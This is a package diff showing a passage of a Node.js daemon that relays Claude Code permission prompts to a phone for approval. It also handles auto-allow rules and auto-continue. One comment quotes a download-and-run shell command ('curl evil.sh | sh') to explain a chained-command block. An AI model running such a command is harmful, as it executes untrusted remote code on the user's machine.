@anupha/claude-bridge 0.0.0-stage → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/src/daemon.mjs ADDED
@@ -0,0 +1,1204 @@
1
+ // claude-bridge daemon — local hub for every Claude Code terminal session on this Mac.
2
+ // Receives hook events, holds pending permission requests until a remote device
3
+ // (or the CLI) answers, and exposes state for the iOS app / relay.
4
+ //
5
+ // Zero dependencies. Runs on 127.0.0.1 only.
6
+
7
+ import http from 'node:http';
8
+ import fs from 'node:fs';
9
+ import net from 'node:net';
10
+ import path from 'node:path';
11
+ import os from 'node:os';
12
+ import crypto from 'node:crypto';
13
+ import { fileURLToPath } from 'node:url';
14
+ import { readTranscript, sendInput, capturePane, sendKeys, terminalStatus, listProjectDirs, createTerminal, killTerminal, sendImages, imagesBusy, attachedPanes, livePanes, accountUsage, paneSpinnerActive, browseDir, makeDir, lastModel, claudePanes, paneClaudeSessions, safeTranscriptPath, captureScreen, sessionCost } from './terminal.mjs';
15
+ import { systemStats } from './sysmon.mjs';
16
+ import { ApnsClient } from './apns.mjs';
17
+
18
+ // Fail loudly on an old Node rather than dying later on a missing global
19
+ // (fetch, structuredClone) with an unreadable stack under launchd.
20
+ const NODE_MAJOR = Number(process.versions.node.split('.')[0]);
21
+ if (!Number.isFinite(NODE_MAJOR) || NODE_MAJOR < 18) {
22
+ console.error(`claude-bridge needs Node 18 or newer — this is ${process.version}.`);
23
+ console.error('install a newer Node (brew install node) and re-run `bridge install`.');
24
+ process.exit(1);
25
+ }
26
+
27
+ const PKG_VERSION = (() => {
28
+ try {
29
+ const pkg = path.join(path.dirname(fileURLToPath(import.meta.url)), '..', 'package.json');
30
+ return String(JSON.parse(fs.readFileSync(pkg, 'utf8')).version || '0.0.0');
31
+ } catch { return '0.0.0'; }
32
+ })();
33
+
34
+ const PORT = Number(process.env.BRIDGE_PORT || 8787);
35
+ const HOME = os.homedir();
36
+ const DATA_DIR = process.env.BRIDGE_DATA_DIR || path.join(HOME, '.claude-bridge');
37
+ const RULES_FILE = path.join(DATA_DIR, 'rules.json');
38
+ const CONFIG_FILE = path.join(DATA_DIR, 'config.json');
39
+ const LOG_FILE = path.join(DATA_DIR, 'daemon.log');
40
+ const SESSIONS_FILE = path.join(DATA_DIR, 'sessions.json');
41
+
42
+ // Tools that never need permission — pass through instantly, never ping the phone.
43
+ const SAFE_TOOLS = new Set([
44
+ 'Read', 'Glob', 'Grep', 'LS', 'TodoWrite', 'Task', 'NotebookRead',
45
+ 'TaskCreate', 'TaskUpdate', 'TaskList', 'TaskGet', 'ToolSearch',
46
+ ]);
47
+
48
+ const IDLE_AFTER_MS = 15 * 60 * 1000;
49
+
50
+ fs.mkdirSync(DATA_DIR, { recursive: true });
51
+
52
+ // The log is world-readable-ish and long-lived, so nothing secret may reach it:
53
+ // the bearer token is scrubbed from every line as a backstop, on top of callers
54
+ // never passing it in the first place.
55
+ function redact(text) {
56
+ let out = String(text);
57
+ try {
58
+ const token = config?.authToken;
59
+ if (token && token.length >= 8) out = out.split(token).join('[redacted]');
60
+ } catch { /* called before config exists */ }
61
+ return out;
62
+ }
63
+
64
+ const LOG_MAX_BYTES = 5 * 1024 * 1024;
65
+ let logWrites = 0;
66
+ function log(...args) {
67
+ try {
68
+ // One rollover keeps a long-running daemon from filling the disk.
69
+ if (logWrites++ % 50 === 0) {
70
+ const size = fs.statSync(LOG_FILE).size;
71
+ if (size > LOG_MAX_BYTES) fs.renameSync(LOG_FILE, `${LOG_FILE}.1`);
72
+ }
73
+ } catch { /* no log file yet / stat failed — just append */ }
74
+ try {
75
+ fs.appendFileSync(LOG_FILE, `[${new Date().toISOString()}] ${redact(args.join(' '))}\n`, { mode: 0o600 });
76
+ } catch { /* logging is best-effort */ }
77
+ }
78
+
79
+ function loadJson(file, fallback) {
80
+ try { return JSON.parse(fs.readFileSync(file, 'utf8')); } catch { return fallback; }
81
+ }
82
+ // Owner-only: config.json holds the bearer token, and devices/rules describe
83
+ // what this Mac will auto-approve. `mode` only applies on create, so chmod the
84
+ // existing file too (files written by an older build were 0644).
85
+ function saveJson(file, value) {
86
+ fs.writeFileSync(file, JSON.stringify(value, null, 2), { mode: 0o600 });
87
+ try { fs.chmodSync(file, 0o600); } catch { /* best-effort */ }
88
+ }
89
+
90
+ // ---------------------------------------------------------------- state
91
+
92
+ /** session_id -> { id, cwd, project, status, lastEvent, startedAt, transcriptPath } */
93
+ const sessions = new Map();
94
+ /** request_id -> { id, sessionId, project, tool, input, summary, createdAt, res, timer } */
95
+ const pending = new Map();
96
+
97
+ let config = {
98
+ remoteApproval: false,
99
+ waitSeconds: 100,
100
+ autoApprove: false, // when a request isn't answered in waitSeconds, allow it (server-side, works even with the app closed)
101
+ // 127.0.0.1 = Mac only; 0.0.0.0 = reachable by phone (API still token-gated)
102
+ bindHost: '127.0.0.1',
103
+ authToken: '',
104
+ ntfyTopic: '', // ntfy.sh topic (or full URL) for free push without a paid Apple account
105
+ showDetached: false, // also surface tmux sessions whose window was closed but claude still runs
106
+ ...loadJson(CONFIG_FILE, {}),
107
+ };
108
+ // A hand-edited config could carry anything; keep the wait inside the window the
109
+ // hook shim's curl --max-time (115s) can actually cover.
110
+ config.waitSeconds = clampWait(config.waitSeconds);
111
+
112
+ function clampWait(value) {
113
+ const n = Number(value);
114
+ return Number.isFinite(n) ? Math.min(110, Math.max(0, Math.round(n))) : 100;
115
+ }
116
+
117
+ // Fire-and-forget push via ntfy — a single HTTP POST reaches the free ntfy
118
+ // iOS app, so approval alerts work with no paid Apple Developer account.
119
+ //
120
+ // An ntfy topic is a public, unauthenticated URL: anyone who guesses or learns
121
+ // the topic name reads everything posted to it. So this carries title/body only
122
+ // — never the bearer token, and never an action button whose headers would
123
+ // embed it. Answer approvals from the app (or the CLI) instead.
124
+ function notifyNtfy(title, message, { tags = 'robot', priority = 'high' } = {}) {
125
+ const t = String(config.ntfyTopic || '').trim();
126
+ if (!t) return;
127
+ const url = t.startsWith('http') ? t : `https://ntfy.sh/${t}`;
128
+ const headers = { Title: title, Priority: priority, Tags: tags };
129
+ try {
130
+ fetch(url, { method: 'POST', body: message, headers }).catch(() => { /* best-effort */ });
131
+ } catch { /* fetch unavailable / bad topic */ }
132
+ }
133
+ if (!config.authToken) {
134
+ config.authToken = crypto.randomBytes(10).toString('hex');
135
+ saveJson(CONFIG_FILE, config);
136
+ }
137
+ /** [{ cwd, project, tool, prefix }] — "Always allow" rules, keyed on cwd */
138
+ let rules = loadJson(RULES_FILE, []);
139
+
140
+ // Display name only — two unrelated checkouts can both be called "api".
141
+ function projectOf(cwd) {
142
+ return cwd ? path.basename(cwd) : 'unknown';
143
+ }
144
+
145
+ // The identity an "Always allow" rule is keyed on: the resolved absolute path,
146
+ // so a rule saved in ~/work/api never auto-approves in ~/scratch/api. Falls back
147
+ // to a plain resolve when the directory is gone or unreadable — both the save
148
+ // and the match go through here, so they agree either way.
149
+ function cwdKey(cwd) {
150
+ if (!cwd) return '';
151
+ const abs = path.resolve(cwd);
152
+ try { return fs.realpathSync(abs); } catch { return abs; }
153
+ }
154
+
155
+ // Persist the session list so a daemon restart (e.g. after a code change)
156
+ // doesn't drop terminals that are still running — they'd otherwise only
157
+ // reappear when they next fire a hook.
158
+ function persistSessions() {
159
+ try { saveJson(SESSIONS_FILE, [...sessions.values()]); } catch { /* best-effort */ }
160
+ }
161
+ function restoreSessions() {
162
+ const saved = loadJson(SESSIONS_FILE, []);
163
+ if (!Array.isArray(saved) || !saved.length) return;
164
+ // Keep any session whose tmux pane is still running. Detached ones stay in
165
+ // the map (hidden by publicState unless showDetached) so reattaching brings
166
+ // back the same id + transcript. If tmux can't answer, keep them all and let
167
+ // the reaper decide later. A transcript that doesn't exist yet is fine — a
168
+ // fresh session writes its .jsonl lazily.
169
+ const alive = livePanes();
170
+ // tmux reuses pane ids after its server restarts: make sure the pane still
171
+ // runs *this* Claude session before handing it the old transcript.
172
+ const running = paneClaudeSessions();
173
+ let n = 0;
174
+ for (const s of saved) {
175
+ if (!s || !s.id) continue;
176
+ if (s.pane && alive && !alive.has(s.pane)) continue; // its terminal is gone
177
+ const now = s.pane && running.get(s.pane);
178
+ if (now && now.sessionId !== s.id && !s.id.startsWith('disc-')) continue; // pane reused by another session
179
+ if (s.transcriptPath) s.transcriptPath = safeTranscriptPath(s.transcriptPath) || undefined; // saved before paths were checked
180
+ sessions.set(s.id, s);
181
+ n++;
182
+ }
183
+ if (n) log(`restored ${n} session(s) from disk`);
184
+ }
185
+
186
+ function touchSession(body, status, pane, { replacePane = false } = {}) {
187
+ const id = body.session_id;
188
+ if (!id) return null;
189
+ let s = sessions.get(id);
190
+ if (!s) {
191
+ s = {
192
+ id,
193
+ cwd: body.cwd || '',
194
+ project: projectOf(body.cwd),
195
+ startedAt: Date.now(),
196
+ };
197
+ sessions.set(id, s);
198
+ log(`session registered: ${s.project} (${id.slice(0, 8)})`);
199
+ }
200
+ if (status) s.status = status;
201
+ if (body.transcript_path) {
202
+ const safe = safeTranscriptPath(body.transcript_path);
203
+ if (safe) s.transcriptPath = safe;
204
+ }
205
+ if (pane) {
206
+ s.pane = pane;
207
+ // A real hook replaces the discovered stand-in. After /clear or resume the
208
+ // new id also replaces the old one in this pane (its SessionEnd may never
209
+ // arrive) — but only then: a nested `claude -p` run from a tool inherits
210
+ // TMUX_PANE and must not evict the session that launched it.
211
+ for (const [oid, o] of sessions) {
212
+ if (oid === id || o.pane !== pane) continue;
213
+ if (oid === `disc-${pane}` || replacePane) {
214
+ if (o.autoContinue && s.autoContinue === undefined) s.autoContinue = o.autoContinue;
215
+ dropSession(oid);
216
+ }
217
+ }
218
+ }
219
+ s.lastEvent = Date.now();
220
+ persistSessions();
221
+ return s;
222
+ }
223
+
224
+ // Remove a session and release any approval it is still holding open.
225
+ function dropSession(id) {
226
+ sessions.delete(id);
227
+ for (const [pid, p] of pending) if (p.sessionId === id) resolveRequest(pid, null, false, 'session replaced');
228
+ }
229
+
230
+ const STATUS_ORDER = { 'needs-approval': 0, 'needs-input': 1, working: 2, idle: 3 };
231
+
232
+ // The Claude account this Mac is signed into (shown on the app home), falling
233
+ // back to the machine name. Read fresh (cached ~20s) so switching accounts
234
+ // updates without restarting the daemon.
235
+ let accountCache = { at: 0, value: null };
236
+ function currentAccount() {
237
+ const now = Date.now();
238
+ if (accountCache.value && now - accountCache.at < 20000) return accountCache.value;
239
+ let v = null;
240
+ try {
241
+ const j = JSON.parse(fs.readFileSync(`${os.homedir()}/.claude.json`, 'utf8'));
242
+ v = j.oauthAccount?.emailAddress || j.oauthAccount?.email || null;
243
+ } catch { /* not signed in / unreadable */ }
244
+ if (!v) v = os.hostname().replace(/\.local$/, '');
245
+ accountCache = { at: now, value: v };
246
+ return v;
247
+ }
248
+
249
+ // Subscription tier (Pro / Max 5x / Max 20x) from ~/.claude.json, for the desk display.
250
+ let tierCache = { at: 0, value: '' };
251
+ function currentTier() {
252
+ const now = Date.now();
253
+ if (now - tierCache.at < 20000) return tierCache.value;
254
+ let out = '';
255
+ try {
256
+ const j = JSON.parse(fs.readFileSync(`${os.homedir()}/.claude.json`, 'utf8'));
257
+ const t = String(j.oauthAccount?.organizationRateLimitTier || j.oauthAccount?.userRateLimitTier || '');
258
+ if (/max_20x/.test(t)) out = 'Max 20x';
259
+ else if (/max_5x/.test(t)) out = 'Max 5x';
260
+ else if (/max/.test(t)) out = 'Max';
261
+ else if (/team/.test(t)) out = 'Team';
262
+ else if (/pro/.test(t)) out = 'Pro';
263
+ else if (/free/.test(t)) out = 'Free';
264
+ else out = t;
265
+ } catch { /* unreadable */ }
266
+ tierCache = { at: now, value: out };
267
+ return out;
268
+ }
269
+
270
+ // Account 5h/7d usage is the same across sessions; cache it so we don't
271
+ // capture-pane on every SSE emit.
272
+ let usageCache = { at: 0, value: null };
273
+ function currentUsage() {
274
+ const now = Date.now();
275
+ if (now - usageCache.at < 8000) return usageCache.value;
276
+ let u = null;
277
+ let model = null;
278
+ // Read from the most-recently-active session: an idle terminal's footer shows
279
+ // stale numbers (it hasn't re-rendered), so picking any session (insertion
280
+ // order) could report old percentages. Freshest activity = freshest footer.
281
+ const ordered = [...sessions.values()]
282
+ .filter((s) => s.pane)
283
+ .sort((a, b) => b.lastEvent - a.lastEvent);
284
+ for (const s of ordered) {
285
+ try { u = accountUsage(s.pane); } catch { /* ignore */ }
286
+ if (u) { try { model = lastModel(s.transcriptPath); } catch { /* ignore */ } break; }
287
+ }
288
+ // The footer has no model name; take it from the transcript (reliable) and
289
+ // drop the occasional coincidental match from the pane scrape.
290
+ if (model) { u = u || {}; u.model = model; }
291
+ else if (u) { delete u.model; }
292
+ usageCache = { at: now, value: u };
293
+ return u;
294
+ }
295
+
296
+ // Per-pane live spinner check, cached briefly so an SSE burst doesn't
297
+ // capture-pane repeatedly.
298
+ const spinCache = new Map(); // pane -> { at, val }
299
+ function paneWorking(pane) {
300
+ if (!pane) return false;
301
+ const now = Date.now();
302
+ const c = spinCache.get(pane);
303
+ if (c && now - c.at < 3000) return c.val;
304
+ const val = paneSpinnerActive(pane);
305
+ spinCache.set(pane, { at: now, val });
306
+ return val;
307
+ }
308
+
309
+ function publicState() {
310
+ const now = Date.now();
311
+ return {
312
+ version: PKG_VERSION, // lets the app spot a daemon it is too new/old for
313
+ account: currentAccount(),
314
+ tier: currentTier(),
315
+ config: { remoteApproval: config.remoteApproval, autoApprove: !!config.autoApprove, waitSeconds: config.waitSeconds, bindHost: config.bindHost, ntfyTopic: config.ntfyTopic || '', showDetached: !!config.showDetached },
316
+ usage: currentUsage(),
317
+ sessions: [...sessions.values()].filter((s) => config.showDetached || !s.detached).map((s) => ({
318
+ id: s.id,
319
+ project: s.project,
320
+ cwd: s.cwd,
321
+ status:
322
+ [...pending.values()].some((p) => p.sessionId === s.id) ? 'needs-approval'
323
+ // Notification hook told us the terminal is stuck at a permission
324
+ // prompt; trust it over the spinner heuristic (no spinner runs there).
325
+ : s.status === 'needs-approval' ? 'needs-approval'
326
+ : paneWorking(s.pane) ? 'working' // live terminal spinner wins
327
+ : s.status === 'needs-input' ? 'needs-input'
328
+ : now - s.lastEvent > IDLE_AFTER_MS ? 'idle'
329
+ : (s.status || 'working'),
330
+ startedAt: s.startedAt,
331
+ lastEvent: s.lastEvent,
332
+ pane: s.pane || null,
333
+ agent: s.agent || 'claude',
334
+ terminalOnly: !!s.terminalOnly,
335
+ detached: !!s.detached,
336
+ cost: s.transcriptPath ? sessionCost(s.transcriptPath) : null,
337
+ autoContinue: !!s.autoContinue,
338
+ })).sort((a, b) => (STATUS_ORDER[a.status] - STATUS_ORDER[b.status]) || (b.lastEvent - a.lastEvent)),
339
+ pending: [...pending.values()].sort((a, b) => a.createdAt - b.createdAt).map((p) => ({
340
+ id: p.id,
341
+ sessionId: p.sessionId,
342
+ project: p.project,
343
+ tool: p.tool,
344
+ summary: p.summary,
345
+ createdAt: p.createdAt,
346
+ edits: p.edits || null, // file diffs to review before approving (Edit/Write/MultiEdit)
347
+ })),
348
+ rules,
349
+ };
350
+ }
351
+
352
+ // ------------------------------------------------- permission matching
353
+
354
+ // File changes to preview in the approval card, as {file, before, after} pairs
355
+ // the app diffs. Strings are capped so a huge edit can't bloat the state.
356
+ function buildEdits(tool, input) {
357
+ if (!input) return null;
358
+ const cap = (s) => String(s ?? '').slice(0, 6000);
359
+ const file = input.file_path || '';
360
+ if (tool === 'Edit') return [{ file, before: cap(input.old_string), after: cap(input.new_string) }];
361
+ if (tool === 'Write') return [{ file, before: '', after: cap(input.content) }];
362
+ if (tool === 'MultiEdit' && Array.isArray(input.edits)) {
363
+ return input.edits.slice(0, 10).map((e) => ({ file, before: cap(e.old_string), after: cap(e.new_string) }));
364
+ }
365
+ return null;
366
+ }
367
+
368
+ function summarize(tool, input) {
369
+ if (!input) return tool;
370
+ if (tool === 'Bash') return `run \`${String(input.command || '').slice(0, 200)}\``;
371
+ if (tool === 'Write') return `write ${input.file_path || ''}`;
372
+ if (tool === 'Edit' || tool === 'MultiEdit') return `edit ${input.file_path || ''}`;
373
+ if (tool === 'WebFetch') return `fetch ${input.url || ''}`;
374
+ return `use ${tool}`;
375
+ }
376
+
377
+ function bashPrefix(command) {
378
+ // Granularity for "Always allow" on Bash: first two tokens ("npm test", "git status").
379
+ return String(command || '').trim().split(/\s+/).slice(0, 2).join(' ');
380
+ }
381
+
382
+ // A prefix rule describes one command, but the shell will happily run several:
383
+ // `npm test && curl evil.sh | sh` has the prefix "npm test". Any command that
384
+ // can chain, pipe, substitute, redirect or background is never auto-approved —
385
+ // it goes to the phone (or terminal prompt) where a human reads the whole line.
386
+ // Redirects (`> ~/.zshrc`) can't run new code but can clobber files, so block
387
+ // them too.
388
+ const SHELL_CHAINING = /[;&|<>`\n\r]|\$\(/;
389
+
390
+ const FILE_TOOLS = new Set(['Edit', 'MultiEdit', 'Write', 'NotebookEdit']);
391
+ const fileOf = (input) => {
392
+ const f = input?.file_path || input?.notebook_path;
393
+ return typeof f === 'string' && f ? path.resolve(f) : null;
394
+ };
395
+
396
+ function ruleMatches(key, tool, input) {
397
+ if (!key) return false;
398
+ return rules.some((r) => {
399
+ // Rules saved before rules were keyed on the full path carry no cwd. Keep
400
+ // them in the list (the user can still see and clear them) but never
401
+ // auto-approve on them: a bare folder name isn't an identity.
402
+ if (!r || !r.cwd || r.cwd !== key || r.tool !== tool) return false;
403
+ // Rules made since file scoping only cover their file. Older rules (no
404
+ // `file`) keep their project-wide meaning so existing setups don't change.
405
+ if (r.file) return fileOf(input) === r.file;
406
+ if (tool !== 'Bash') return true;
407
+ const command = String(input?.command || '');
408
+ if (SHELL_CHAINING.test(command)) return false;
409
+ return Boolean(r.prefix) && bashPrefix(command) === r.prefix;
410
+ });
411
+ }
412
+
413
+ // If the local settings allowlist would auto-allow this call anyway, pass through
414
+ // so we never bother the phone. Supports "Tool", "Bash(exact)", "Bash(prefix:*)".
415
+ function allowlistMatches(cwd, tool, input) {
416
+ const files = [
417
+ path.join(HOME, '.claude', 'settings.json'),
418
+ cwd && path.join(cwd, '.claude', 'settings.json'),
419
+ cwd && path.join(cwd, '.claude', 'settings.local.json'),
420
+ ].filter(Boolean);
421
+ for (const file of files) {
422
+ const allow = loadJson(file, {})?.permissions?.allow || [];
423
+ for (const pat of allow) {
424
+ if (pat === tool) return true;
425
+ const m = /^([A-Za-z_]+)\((.*)\)$/.exec(pat);
426
+ if (!m || m[1] !== tool) continue;
427
+ if (tool !== 'Bash') return true; // path/arg patterns: defer to local flow
428
+ const cmd = String(input?.command || '');
429
+ const spec = m[2];
430
+ if (spec.endsWith(':*')) {
431
+ if (cmd.startsWith(spec.slice(0, -2))) return true;
432
+ } else if (spec.endsWith(' *') || spec.endsWith('*')) {
433
+ if (cmd.startsWith(spec.replace(/\s?\*$/, ''))) return true;
434
+ } else if (cmd === spec) return true;
435
+ }
436
+ }
437
+ return false;
438
+ }
439
+
440
+ // ------------------------------------------------------ hook handlers
441
+
442
+ function hookDecision(decision, reason) {
443
+ return {
444
+ hookSpecificOutput: {
445
+ hookEventName: 'PreToolUse',
446
+ permissionDecision: decision,
447
+ permissionDecisionReason: reason,
448
+ },
449
+ };
450
+ }
451
+
452
+ function handlePreToolUse(body, res, pane) {
453
+ const session = touchSession(body, 'working', pane);
454
+ const tool = body.tool_name || '';
455
+ const input = body.tool_input || {};
456
+ const project = session?.project || projectOf(body.cwd);
457
+ const key = cwdKey(session?.cwd || body.cwd);
458
+
459
+ if (SAFE_TOOLS.has(tool)) return sendJson(res, 200, null);
460
+ if (allowlistMatches(body.cwd, tool, input)) return sendJson(res, 200, null);
461
+ if (ruleMatches(key, tool, input)) {
462
+ log(`auto-allow by rule: ${project} / ${summarize(tool, input)}`);
463
+ return sendJson(res, 200, hookDecision('allow', 'Auto-allowed by claude-bridge rule'));
464
+ }
465
+ if (!config.remoteApproval) return sendJson(res, 200, null);
466
+
467
+ // Hold the response open until a device answers or we time out (fail-safe:
468
+ // empty response -> Claude Code shows its normal terminal prompt).
469
+ const id = crypto.randomUUID().slice(0, 8);
470
+ const req = {
471
+ id,
472
+ sessionId: body.session_id,
473
+ project,
474
+ cwd: key,
475
+ tool,
476
+ input,
477
+ summary: summarize(tool, input),
478
+ edits: buildEdits(tool, input),
479
+ createdAt: Date.now(),
480
+ res,
481
+ // Unanswered after waitSeconds: auto-allow if configured (works with the app
482
+ // closed), otherwise fall back to the terminal's own prompt.
483
+ timer: setTimeout(
484
+ () => config.autoApprove
485
+ ? resolveRequest(id, 'allow', false, 'auto-approve')
486
+ : resolveRequest(id, null, false, 'timeout'),
487
+ config.waitSeconds * 1000,
488
+ ),
489
+ };
490
+ pending.set(id, req);
491
+ log(`pending [${id}] ${project}: Claude requests to ${req.summary}`);
492
+ notifyRelay();
493
+ notifyNtfy(`${project} · needs approval`, `Claude wants to ${req.summary}`, { tags: 'bell', priority: 'high' });
494
+ res.on('close', () => { // hook process killed / terminal closed
495
+ if (pending.has(id)) { clearTimeout(req.timer); pending.delete(id); notifyRelay(); } // drop the dead card on the phone too
496
+ });
497
+ }
498
+
499
+ function resolveRequest(id, decision, always, source) {
500
+ const req = pending.get(id);
501
+ if (!req) return false;
502
+ clearTimeout(req.timer);
503
+ pending.delete(id);
504
+
505
+ if (decision === 'allow' && always) {
506
+ const rule = {
507
+ cwd: req.cwd, // what the rule is keyed on
508
+ project: req.project, // what the app shows
509
+ tool: req.tool,
510
+ prefix: req.tool === 'Bash' ? bashPrefix(req.input?.command) : null,
511
+ };
512
+ // File tools: "always allow" means this file, not every file in the project.
513
+ const file = FILE_TOOLS.has(req.tool) ? fileOf(req.input) : null;
514
+ if (file) rule.file = file;
515
+ if (!rules.some((r) => JSON.stringify(r) === JSON.stringify(rule))) {
516
+ rules.push(rule);
517
+ saveJson(RULES_FILE, rules);
518
+ }
519
+ }
520
+
521
+ const bodyOut =
522
+ decision === 'allow' ? hookDecision('allow', `Approved from phone (${source})`)
523
+ : decision === 'deny' ? hookDecision('deny', `Denied from phone (${source})`)
524
+ : null; // timeout -> fall back to terminal prompt
525
+
526
+ log(`resolved [${id}] ${decision ?? 'timeout'} (${source})`);
527
+ sendJson(req.res, 200, bodyOut);
528
+ notifyRelay();
529
+ return true;
530
+ }
531
+
532
+ // ---------------------------------------------------------------- APNs
533
+ // Live Activity pushes so the approval card reaches the Lock Screen even with
534
+ // the app closed. Requires an Apple Developer key: see `bridge apns`.
535
+
536
+ const DEVICES_FILE = path.join(DATA_DIR, 'devices.json');
537
+ let devices = loadJson(DEVICES_FILE, { pushToStart: '', activity: '' });
538
+ const apns = new ApnsClient(
539
+ () => ({ keyPath: path.join(DATA_DIR, 'AuthKey.p8'), ...config.apns }),
540
+ log,
541
+ );
542
+ let lastStartAt = 0;
543
+
544
+ async function apnsSync() {
545
+ if (!apns.configured()) return;
546
+ const queue = [...pending.values()].sort((a, b) => a.createdAt - b.createdAt);
547
+ const head = queue[0];
548
+ try {
549
+ if (!head) {
550
+ if (devices.activity) {
551
+ const r = await apns.endActivity(devices.activity);
552
+ log(`apns end -> ${r.status}`);
553
+ devices.activity = '';
554
+ saveJson(DEVICES_FILE, devices);
555
+ }
556
+ return;
557
+ }
558
+ const contentState = { requestId: head.id, project: head.project, summary: head.summary, queued: queue.length };
559
+ if (devices.activity) {
560
+ const r = await apns.updateActivity(devices.activity, contentState);
561
+ log(`apns update -> ${r.status} ${r.body}`);
562
+ if (r.status === 410 || r.status === 400) { devices.activity = ''; saveJson(DEVICES_FILE, devices); }
563
+ } else if (devices.pushToStart && Date.now() - lastStartAt > 20_000) {
564
+ // cooldown: don't spawn duplicate activities while the phone is still
565
+ // registering the new activity's update token
566
+ lastStartAt = Date.now();
567
+ const r = await apns.startActivity(devices.pushToStart, contentState,
568
+ `${head.project}: Claude requests to ${head.summary}`.slice(0, 170));
569
+ log(`apns start -> ${r.status} ${r.body}`);
570
+ if (r.status === 410) { devices.pushToStart = ''; saveJson(DEVICES_FILE, devices); }
571
+ }
572
+ } catch (err) {
573
+ log(`apns error: ${err}`);
574
+ }
575
+ }
576
+
577
+ // SSE lets any local client (CLI watch, the app while open) react instantly.
578
+ const sseClients = new Set();
579
+ setInterval(() => {
580
+ // A named event, not an SSE comment: react-native-sse never surfaces comments,
581
+ // so the RN app couldn't tell a quiet stream from a dead one. Clients that
582
+ // decode every data line (the Swift app) just skip this one.
583
+ for (const client of sseClients) sseWrite(client, 'event: ping\ndata: 1\n\n');
584
+ }, 25_000).unref();
585
+ // A client that stops reading (stalled network) makes the write buffer grow
586
+ // with every state push; past this we drop it and let it reconnect.
587
+ const SSE_MAX_BUFFER = 1024 * 1024;
588
+ function sseWrite(client, chunk) {
589
+ if (client.writableLength > SSE_MAX_BUFFER) {
590
+ sseClients.delete(client);
591
+ client.destroy();
592
+ return;
593
+ }
594
+ client.write(chunk);
595
+ }
596
+ function notifyRelay() {
597
+ const payload = `data: ${JSON.stringify(publicState())}\n\n`;
598
+ for (const client of sseClients) sseWrite(client, payload);
599
+ apnsSync(); // fire-and-forget; errors are logged inside
600
+ }
601
+
602
+ // Reap sessions whose tmux terminal was closed directly on the Mac (outside the
603
+ // app). Without this, killing a terminal in Terminal.app leaves it lingering on
604
+ // the phone until the daemon restarts. Runs every 15s and pushes a live update.
605
+ function reapAndDiscover() {
606
+ const live = livePanes();
607
+ const attached = attachedPanes();
608
+ // tmux failed or timed out: we know nothing this tick — reaping now would
609
+ // wipe every session (and change their ids when rediscovered).
610
+ if (!live || !attached) return;
611
+ const now = Date.now();
612
+ let changed = false;
613
+ for (const [id, s] of sessions) {
614
+ if (s.pane && !live.has(s.pane)) {
615
+ sessions.delete(id);
616
+ log(`session reaped (terminal closed): ${id}`);
617
+ changed = true;
618
+ continue;
619
+ }
620
+ // A session with no tmux pane can't be shown or controlled; if it has also
621
+ // gone stale it's a phantom (e.g. a hook that never bound a pane) — drop it.
622
+ if (!s.pane && now - (s.lastEvent || 0) > 45_000) {
623
+ sessions.delete(id);
624
+ log(`session reaped (no pane, stale): ${id}`);
625
+ changed = true;
626
+ continue;
627
+ }
628
+ if (s.pane) {
629
+ // Detached = window closed but the process lives on. Keep the session
630
+ // (same id, same transcript); publicState hides it unless showDetached.
631
+ const det = !attached.has(s.pane);
632
+ if (!!s.detached !== det) { s.detached = det; changed = true; }
633
+ }
634
+ }
635
+ for (const [pid, p] of pending) {
636
+ // Answer the held hook (fall back to the terminal prompt) instead of
637
+ // leaving Claude's curl hanging until its own timeout.
638
+ if (!sessions.has(p.sessionId)) { resolveRequest(pid, null, false, 'session gone'); changed = true; }
639
+ }
640
+ // Discover claude terminals that never registered via a hook (started before
641
+ // the daemon / missed SessionStart). Claude's own ~/.claude/sessions record
642
+ // gives the real session id + transcript; only when it's missing do we fall
643
+ // back to a terminal-only stand-in.
644
+ const claude = paneClaudeSessions();
645
+ const panes = claudePanes() || [];
646
+ for (const { name, pane, project } of panes) {
647
+ const info = claude.get(pane);
648
+ const disc = sessions.get(`disc-${pane}`);
649
+ if (info && disc) { sessions.delete(disc.id); changed = true; } // upgrade the stand-in
650
+ else if (disc) continue;
651
+ const owner = [...sessions.values()].find((s) => s.pane === pane);
652
+ if (owner) continue;
653
+ const base = { pane, agent: 'claude', status: 'idle', startedAt: Date.now(),
654
+ lastEvent: Date.now(), detached: !attached.has(pane) };
655
+ if (info) {
656
+ sessions.set(info.sessionId, { ...base, id: info.sessionId, cwd: info.cwd,
657
+ project: projectOf(info.cwd), transcriptPath: info.transcriptPath });
658
+ log(`discovered terminal with session: ${name} (${pane}) → ${info.sessionId.slice(0, 8)}`);
659
+ } else {
660
+ sessions.set(`disc-${pane}`, { ...base, id: `disc-${pane}`, cwd: '',
661
+ project: project || name, terminalOnly: true });
662
+ log(`discovered unregistered terminal: ${name} (${pane})`);
663
+ }
664
+ changed = true;
665
+ }
666
+ if (changed) { persistSessions(); notifyRelay(); }
667
+ }
668
+ setInterval(reapAndDiscover, 15_000).unref();
669
+
670
+ // Auto-continue: for sessions the user armed, nudge "continue" once the session
671
+ // goes idle, so a long autonomous run keeps going without watching. Guards keep
672
+ // it from looping: never continue past a real question (interactive prompt /
673
+ // needs-input / a pending approval), a cooldown between nudges, and a hard cap
674
+ // per session that a manual message refills.
675
+ const AUTO_MAX = 25;
676
+ setInterval(() => {
677
+ const now = Date.now();
678
+ for (const [id, s] of sessions) {
679
+ if (!s.autoContinue || !s.pane) continue;
680
+ if ([...pending.values()].some((p) => p.sessionId === id)) continue; // waiting on approval
681
+ if (s.status === 'needs-input') continue; // Claude asked something
682
+ let st;
683
+ try { st = terminalStatus(s.pane); } catch { continue; }
684
+ if (st.activity) { s.autoNudgedAt = 0; continue; } // spinner running → working; re-arm
685
+ if (st.prompt) continue; // an interactive prompt is up → don't blind-continue
686
+ if (now - (s.autoNudgedAt || 0) < 30_000) continue; // cooldown / already nudged this idle
687
+ if ((s.autoCount || 0) >= AUTO_MAX) {
688
+ s.autoContinue = false;
689
+ log(`auto-continue stopped (cap reached): ${s.project}`);
690
+ notifyRelay();
691
+ continue;
692
+ }
693
+ sendInput(s.pane, 'continue');
694
+ s.autoCount = (s.autoCount || 0) + 1;
695
+ s.autoNudgedAt = now;
696
+ log(`auto-continue [${id}] ${s.project} (${s.autoCount}/${AUTO_MAX})`);
697
+ notifyRelay();
698
+ }
699
+ }, 20_000).unref();
700
+
701
+ // Auto-answer non-hook Yes/No prompts. Some approvals never reach the permission
702
+ // hook — plan mode "proceed?", trust-folder, y/n — they're plain TUI prompts. When
703
+ // auto-approve is on and such a prompt sits unanswered for waitSeconds, press "Yes"
704
